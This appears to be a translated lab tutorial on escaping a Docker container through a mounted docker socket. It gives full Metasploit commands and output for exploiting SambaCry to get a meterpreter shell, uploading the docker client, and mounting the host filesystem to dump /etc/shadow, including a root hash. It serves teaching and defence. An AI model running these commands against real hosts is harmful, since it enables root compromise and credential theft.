利用Docker容器的不安全部署獲取宿主機許可權
前言
濫用容器( container)及逃逸的方法有多種,本文將討論最基本的一種,即濫用docker socket來逃逸容器並在宿主機上以root身份執行程式碼。
實驗環境設定
由於我們將使用容器,因此你必須安裝 ofollow" rel="nofollow,noindex" target="_blank">docker 。
建立網路
首先,我們在建立容器的地方建立一個docker網路:
docker network create pwnage
啟動易受攻擊的容器
在本示例中,我將使用受SambaCry漏洞(CVE-2017-7494)影響的容器。有關該漏洞的更多資訊,可以參閱 opsxcq/exploit-CVE-2017-7494 。
此漏洞允許你在Samba伺服器中遠端程式碼執行,我們將docker socket新增到容器中,以下是一個濫用docker的示例。
docker run --rm -it \ --name vulnerable \ --network pwnage \ -v '/var/run/docker.sock:/var/run/docker.sock' \ vulnerables/cve-2017-7494
啟動攻擊機
實驗環境設定完成後,接下來我們需要將攻擊者的主機新增到網路中。Samba Cry儲存庫中有一個漏洞利用程式碼,但這裡我將使用Metasploit,因為它更容易上傳我所需的內容。我已經為此構建了一個映像,只需執行bellow命令,所有內容都將根據實驗環境需要執行:
docker run --rm -it \ --network pwnage \ -v '/usr/bin/docker:/docker:ro' \ strm/metasploit
載入完成後,你將看到如下介面。
攻擊利用
資訊收集
在任何攻擊或測試中,資訊收集都是必不可少的一個環節。因此,讓我們先來ping下易受攻擊的容器檢查下當前的連線情況。
ping -c 2 vulnerable
如果一切正常,你應該能看到以下輸出資訊。
msf5 > ping -c 2 vulnerable [*] exec: ping -c 2 vulnerable PING vulnerable (172.20.0.2) 56(84) bytes of data. 64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms 64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms --- vulnerable ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1009ms rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms
然後,我們進行基本的smb共享列舉:
use auxiliary/scanner/smb/smb_enumshares set rhosts vulnerable run
輸出結果如下:
msf5 > use auxiliary/scanner/smb/smb_enumshares msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable rhosts => vulnerable msf5 auxiliary(scanner/smb/smb_enumshares) > run [+] 172.20.0.2:139- data - (DS) Data [+] 172.20.0.2:139- IPC$ - (I) IPC Service (Crying samba) [*] vulnerable:- Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
可以看到,這個samba伺服器中有一個名為data的共享。
獲取shell
下一步我們要做的是,針對宿主機執行漏洞利用程式獲取shell。在Metasploit中,該漏洞名為is_known_pipename,位於exploit/linux/samba/is_known_pipename。
執行bellow命令攻擊宿主機:
use exploit/linux/samba/is_known_pipename set RHOST vulnerable set RPORT 445 set payload linux/x64/meterpreter/bind_tcp set TARGET 3 set SMB_FOLDER data set SMBUser sambacry set SMBPass nosambanocry exploit
如果一切順利,你將獲取到一個meterpreter shell。如下:
msf5 > use exploit/linux/samba/is_known_pipename msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable RHOST => vulnerable msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445 RPORT => 445 msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp payload => linux/x64/meterpreter/bind_tcp msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3 TARGET => 3 msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data SMB_FOLDER => data msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry SMBUser => sambacry msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry SMBPass => nosambanocry msf5 exploit(linux/samba/is_known_pipename) > exploit [*] vulnerable:445 - Using location \\vulnerable\data\ for the path [*] vulnerable:445 - Retrieving the remote path of the share 'data' [*] vulnerable:445 - Share 'data' has server-side path '/data [*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so [*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so... [-] vulnerable:445 ->> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so... [-] vulnerable:445 ->> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] Started bind TCP handler against vulnerable:4444 [*] Sending stage (816260 bytes) to vulnerable meterpreter >
提權
我們將通過濫用容器內可用的docker socket來提權。由於docker在宿主機上是以root身份執行的,因此它也具有root許可權。我們可以濫用它來執行多項操作。例如,使用–privileged選項可以為我們提供許多擴充套件功能,以下是從docker官方文件中提取的解釋文字:
預設情況下,Docker的容器是沒有特權的,例如不能在容器中再啟動一個容器。這是因為預設情況下容器是不能訪問任何其它裝置的。但是通過”privileged”,容器就擁有了訪問任何其它裝置的許可權。當操作者執行docker run –privileged時,Docker將擁有訪問主機所有裝置的許可權,同時Docker也會在apparmor或者selinux做一些設定,使容器可以容易的訪問那些執行在容器外部的裝置。
你可以使用–device選項訪問裝置。但在本示例中,我將對映toor檔案系統 (/) 到容器中並訪問它。
由於此容器中沒有docker客戶端,因此下一步我們要做的就是在目標容器中設定docker客戶端及其依賴項。你只需執行以下命令,即可完成所有這些操作。
upload /docker /docker upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7 chmod 777 /docker chmod +x /docker
meterpreter > upload /docker /docker [*] uploading: /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] uploaded: /docker -> /docker meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] uploading: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] uploaded: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 meterpreter > chmod 777 /docker meterpreter > chmod +x /docker meterpreter >
現在,我們就可以使用docker來訪問宿主機上的檔案系統了。
execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
我們來轉儲下本地使用者的雜湊,輸出結果如下:
meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow" Process 113 created. Channel 13 created. root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7::: daemon:*:17488:0:99999:7::: bin:*:17488:0:99999:7::: sys:*:17488:0:99999:7::: sync:*:17488:0:99999:7::: games:*:17488:0:99999:7::: man:*:17488:0:99999:7::: lp:*:17488:0:99999:7::: mail:*:17488:0:99999:7::: news:*:17488:0:99999:7:::
參考文獻
*參考來源: strm ,FB小編secist編譯,轉載請註明來自FreeBuf.COM